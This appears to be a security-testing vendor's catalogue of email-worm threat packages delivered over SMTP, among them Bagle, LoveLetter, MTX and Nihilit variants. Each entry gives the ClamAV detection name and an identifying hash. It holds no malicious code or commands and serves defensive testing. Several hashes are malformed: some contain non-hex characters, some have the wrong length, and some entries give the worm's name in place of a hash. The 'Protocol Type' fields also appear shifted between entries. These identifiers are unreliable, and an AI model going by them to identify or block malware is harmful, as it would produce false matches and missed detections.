Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AE.62035831_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AE (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AE as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 62035831b8b40ad8c0253a0142c99dcl. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BR.dd079200.xml
Executive Description:	Email Virus Worm.LoveLetter.BR
Detailed Description:	This is the email virus Worm.LoveLetter.BR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dd079200eca53f7e4fb0097ba5f3c667. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sity.417143d7.xml
Executive Description:	Email Virus Worm.Sity
Detailed Description:	This is the email virus Worm.Sity as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 417143d74231db2757ee23661d4868f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Drefir.C.9594702d_IPv6.xml
Executive Description:	Email Virus Worm.Drefir.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Drefir.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9594702de451b792e318b8eb1deb9214. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Roaller.roa.310db78b.xml
Executive Description:	Email Virus Email-Worm.Win32.Roaller.roa
Detailed Description:	This is the email virus Email-Worm.Win32.Roaller.roa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Roaller.roa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.f367f2b6_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f367f2b696c13a214022b97a49275428. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.MTX.5a9f01d0_IPv6.xml
Executive Description:	Email Virus W32.MTX (IPv6 Version)
Detailed Description:	This is the email virus W32.MTX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a9f01d09c06d894812bcb6863b0e36a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.e.e.2fee0483_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Godog.5e0a9fel_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e0a9fel04ab8e32f8e8d4ec502289ec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.LoveLetter.BB.b2cda449_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BB (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BB as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b2cda449c00abcecc0f056416750052c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.White.A.dff252d3.xml
Executive Description:	Email Virus Worm.White.A
Detailed Description:	This is the email virus Worm.White.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dff252d337a54d73c67e38bda06b72ec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.75355112.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7535511290b8e42ca775330bdb110a68. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kadra.154bf120_IPv6.xml
Executive Description:	Email Virus Worm.Kadra (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kadra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 154bf1202aac8e31bb09acb5d62109f1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.F.2e77976d_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e77976da30bf4450f369e8431e340fa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Avron.e.e.2f9165c9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Avron.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Avron.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Avron.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.Relix.A.27f07ae4_IPv6.xml
Executive Description:	Email Virus BAT.Relix.A (IPv6 Version)
Detailed Description:	This is the email virus BAT.Relix.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 27f07ae42b6f6ebf7f5c316f0efc0e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Shoho.8240078d.xml
Executive Description:	Email Virus W32.Shoho
Detailed Description:	This is the email virus W32.Shoho as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8240078dla3fcdada7cb14c23795ec50d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.h.h.c17513bd.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Bater.a.exe.c0d5abbe_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Bater.a.exe (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Bater.a.exe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Bater.a.exe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Azag.A.b8c4adfa.xml
Executive Description:	Email Virus Worm.Azag.A
Detailed Description:	This is the email virus Worm.Azag.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b8c4adfabd673dafa097c21eff75e840. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.3710e115_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3710e11503f5e4d706bb8f189a2ac1b5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Peach.98d8706c.xml
Executive Description:	Email Virus Worm.Peach
Detailed Description:	This is the email virus Worm.Peach as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 98d8706c31ce9c4c45daa5c02e1a1950. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.k.k.50cff8c9.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.k.k
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
